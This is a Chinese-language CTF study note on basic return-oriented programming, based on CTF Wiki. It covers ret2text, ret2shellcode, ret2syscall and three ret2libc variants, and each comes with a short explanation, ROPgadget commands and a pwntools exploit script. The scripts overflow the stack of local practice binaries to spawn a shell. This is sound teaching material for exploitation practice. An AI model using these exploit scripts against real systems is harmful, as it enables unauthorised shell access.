基本ROP

参考地址:基本 ROP - CTF Wiki

ret2text

通过覆盖返回地址跳转到程序已有的某个代码地址(可以是各种危险函数或者gadgets

GDB动态调试,可以看到 esp 为 0xffffcd40,ebp 为 0xffffcdc8,同时 s 相对于 esp 的索引为 esp+0x1c,因此,我们可以推断

  • s 的地址为 0xffffcd5c
  • s 相对于 ebp 的偏移为 0x6c
  • s 相对于返回地址的偏移为 0x6c+4

payload:

1
2
3
4
5
6
7
##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()

ret2shellcode

覆盖返回地址,跳转到我们写入的shellcode地址(shellcode所在区域必须有可执行权限)

进入gdb,使用vmmap命令查看可以写入shellcode的地址是否有可执行权限

先利用程序的strncpy函数复制构造的shellcode到程序指定的变量处

覆盖返回地址跳转到变量地址(shellcode地址)

payload:

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

ret2syscall

控制程序执行系统调用,获取 shell

程序中没有可以利用的代码或者自己写入shellcode,所以我们可以利用程序中已有的gadgets构造一个链,使用它们一步步从栈中pop出参数到寄存器,再执行int 0x80的系统调用(execve系统调用),就可以使用syscall获取shell。

本节需要用到ROPgadget工具(类似的还有ROPgenerator,更强大)

命令:

1
2
3
4
5
6
7
8
# 寻找控制 eax 的 gadgets
ROPgadget --binary 程序名 --only 'pop|ret' | grep 'eax'
# 查找控制其它寄存器的 gadgets
ROPgadget --binary 程序名 --only 'pop|ret' | grep 'ebx'
# 获得 /bin/sh 字符串对应的地址
ROPgadget --binary 程序名 --string '/bin/sh'
# int 0x80 的地址
ROPgadget --binary 程序名 --only 'int'

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

ret2libc1

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的plt处或者函数的具体位置 (即函数对应的got表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。

查看是否有 /bin/sh 存在

1
2
3
4
5
6
7
8
9
10
# 查看是否有 /bin/sh 存在
ROPgadget --binary ret2libc1 --string '/bin/sh'
# ida查找是否有 system 函数存在
.plt:08048460 ; int system(const char *command)
.plt:08048460 _system proc near ; CODE XREF: secure+44↓p
.plt:08048460
.plt:08048460 command = dword ptr 4
.plt:08048460
.plt:08048460 jmp ds:off_804A018
.plt:08048460 _system endp

payload:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
# 这里的4个'b'是为了模拟call system时,自动压栈的返回地址。
sh.sendline(payload)

sh.interactive()

ret2libc2

不再出现 /bin/sh 字符串,所以此次需要我们自己来读取字符串,所以我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system(“/bin/sh”)

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
##!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

ret2libc3

既没有函数参数字符串(/bin/sh)也没有高危libc函数地址(system)

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)
  1. libc之间函数偏移是固定的, 因此可以通过某个已知的libc函数偏移, 来获取任意其他libc函数地址.
  2. libc有延迟绑定机制, 只有执行过的函数它的GOT才是正确的.
  3. libc内自带有/bin/sh字符串.
  4. 可以利用__libc_start_main地址来泄露偏移.
  5. 利用思路就是 => 构造ROP链通过puts泄露__libc_start_main的got地址 => 使用LibcSearcher获取libc的基址从而获取system地址和/bin/sh地址 => 重载程序 => 构造payload控制.

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()
⬆︎TOP